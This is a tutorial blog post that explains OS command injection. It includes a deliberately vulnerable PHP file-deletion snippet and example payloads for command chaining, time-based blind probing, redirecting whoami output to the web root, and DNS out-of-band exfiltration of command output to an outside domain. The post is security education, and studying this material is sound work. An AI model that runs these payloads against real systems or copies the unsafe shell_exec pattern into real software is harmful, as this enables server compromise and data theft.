OS Command Injections: How they work, and example techniques

What are OS Command Injections banner

When I first heard the term OS Command injections, or “Shell injection” as some people refer to it, I don’t know why but I assumed it was some very advanced and obscure technique.

In reality, it’s quite similar to other injection attacks like, SQL injections, it just requires a different skill set. 

OS command injections allow attackers to execute operating system commands on the server that is running an application.

Hearing that sentence alone should freak you out, because if someone is able to get remote access to execute commands on your server’s OS, you are going to be having a very bad day — assuming that you even realize it.

By the way, even if you’re just running serverless workloads, it doesn’t mean your code isn’t potentially vulnerable to this threat because, at the end of the day, your code is still running on servers. This means OS commands can still be executed through serverless code.

Since serverless workloads often communicate with databases, other data stores (like Amazon S3), virtual private cloud resources, and other critical infrastructure, this threat should still be a serious consideration for serverless architectures.

What kind of damage can OS Command injections cause?

An attacker successfully exploiting an OS Command injection vulnerability could:

  1. Infiltrate your local network
  2. Access sensitive data
  3. Upload or download certain data or malware
  4. Create custom scripts
  5. Run those scripts or other applications as administrators
  6. Edit user security levels
  7. and more

In our free course on Introduction to OS Command injections, we perform actual attacks against sample environments to demonstrate truly how dangerous this threat can be. Check that out to learn more.

How are OS Command injections possible?

These types of injections and attacks are made possible when unsafe user-supplied data is allowed to be injected in a system shell from an application. 

If you’re not a sysadmin, a shell is simply an interactive command language that also doubles up as a scripting language.

So if an application is designed in a way that takes a user’s input and runs it through a shell command, then bad things can happen.

If an attacker successfully pulls off this type of injection, they can assume whatever privileges the application has. This means that if the server is misconfigured and you are running applications with elevated privileges, a successful injection could completely compromise your server.

If the attacker then attempts lateral movement, they could potentially go beyond that server and compromise other resources as well.

OS Command injections require familiarity with how the operating system works. That usually means either Windows or Linux, since these two alone power pretty much all web apps. If a server you are trying to compromise is running Linux, you need to be familiar with Linux commands, and vice versa for Windows. Some commands can work on both, so that can help with information gathering, until we know which OS is powering the application and narrow down our payloads.

What OS Command Injections look like

Let’s take a quick look at what a basic OS Command injection looks like, and then we’ll explore other types of techniques.

Let’s say that you’ve built a plugin for a client that allows them to upload and delete files from their server, but without having to manually log into the server and learn how to navigate Linux.

This is what the code might look like:

<?php
// Delete the selected file
$file=$_GET['filename'];
shell_exec("rm $file");
?>Code language: HTML, XML (xml)

This will take a file name from the user, and then execute the command rm via shell, returning the complete output as a string.

rm if you’re not familiar, is the command to remove a file. So you would type rm <filename> and it would delete that file. You could also use it to delete entire directories by passing in the -r option which would recursively delete everything within directories.

This code is vulnerable to injection because instead of just selecting a file name, you can inject other commands and run them directly from the shell!

shell_exec("rm old_file.txt; pwd");Code language: JavaScript (javascript)
  • old_file.txt ← selected file to delete
  • ; ← separator
  • pwd ← arbitrary/injected OS command

All of a sudden, the code will delete the old_file.txt, but it will also run the pwd command which outputs the full pathname of the current working directory, which can validate that the injection worked and it can help you gather information about the application’s path structure.

The reason we use the semicolon is because it allows us to chain commands together without causing errors. So in that case it will run the rm command first, and then the pwd command, otherwise it would have returned an error message.

The ; only works on Unix-based systems, so if it were for a Windows server we could use & (which also works for Unix-based systems by the way).

What we just saw would be called a results-based command injection, since we’re able to see the results of our injected command, which means we can tell whether our injection succeeded or not.

Blind OS Command Injection Techniques

Sometimes our attacks don’t output anything back, and we don’t receive any indication that a command injection worked, but that doesn’t mean that it didn’t work. We could simply be dealing with a Blind OS Command injection vulnerability.

If you’re going at it blind, meaning that the app doesn’t return any output within its HTTP response giving you an indication that it worked, we can try a couple of techniques:

  1. Time-based attacks

We can try injecting time delays to see if it affects the query, because if it does, that means there’s a vulnerability.

  1. Redirecting output

Another technique is to redirect output from the injected command into something like a file within the application’s web root, which you can then retrieve using your browser.

Time-based attack

Time illustration

In the case that our prior attack wouldn’t have returned any results, we could try this one instead which will add a 5-second timer before responding. At that point, even if you don’t get any output from the pwd command, you will still see the application hang for 5 seconds if it is successful. 

rm old_file.txt; pwd; sleep 5Code language: CSS (css)

This technique can generate false-positives because there could be a random time delay caused by the server instead of our injection technique causing that delay, leading us to believe that we were successful even though we weren’t.

Another more advanced technique would be using an if statement, like this:

; str=$(echo GLKKDT);
str1=$(expr length "$str");
if [ 6 != $str1 ];
  then sleep 0;
else sleep 5;
fiCode language: JavaScript (javascript)

With this, we store the string GLKKDT in str and then store the length of our variable str in str1. Then, check to see if the length of str1 is 6, and if it is, sleep for 5 seconds. If it’s not, don’t sleep.

With this example, if our injection isn’t successful, then there won’t be a delay. If it was successful, there will be a delay of at least 5 seconds, and maybe slightly longer depending on the server response time.

Redirecting output

Redirecting output illustration

Setting a sleep timer can help us know that an injection was successful, but it doesn’t solve our problem of not being able to see outputs. To solve that problem, we can use a technique called “redirecting outputs.”

For example, if the application serves static images or CSS & JavaScript files from your webroot at /var/www/public/<files>, you could generate a text file whoami.txt and then pull it up in your browser, like this:

& whoami > /var/www/public/whoami.txt Code language: PHP (php)

We can then visit the website’s URL and pull up that text file we just created: https://vulnerable-website.com/whoami.txt

In this case, because we output whoami which names the current user, we now know which user we’re running as which gives us helpful information to carry out more attacks.

Out-of-band

An alternative to that approach we just saw is using the Out-of-band technique.

Let’s say for example that you can use

& nslookup https://cybr.com & Code language: JavaScript (javascript)

You could monitor your own domain name and see that a request was initiated, which lets you know that the injection was successful.

Then, you can start to send interesting information to your domain:

nslookup `whoami`.cybr.com &Code language: CSS (css)

By using the backticks (`), on Unix-based systems, it will perform inline execution within the original command. We can also use $(command).

If the user is www-data you would see a request for:

www-data.cybr.com

And this will let you gather information straight from your own server.

Conclusion

In this post, we explored what OS Command injections are and how they work, and we talked about a few different techniques that could be used to exploit a vulnerable target.

We learned about:

  1. The potential impact of successful attacks
  2. How OS Command Injections are possible
  3. What they look like
  4. Results-based techniques
  5. Blind injection techniques

This is only the beginning of what you can do with OS Command injections, though, and in future posts, we will explore performing manual and automated attacks against targets (using Commix), as well as generating and exploiting persistent backdoors.

This content (and more) is also covered in our free course on Introduction to OS Command Injections.

Introduction to OS Command Injections course banner

Related Articles

Responses

Your email address will not be published. Required fields are marked *

This site uses Akismet to reduce spam. Learn how your comment data is processed.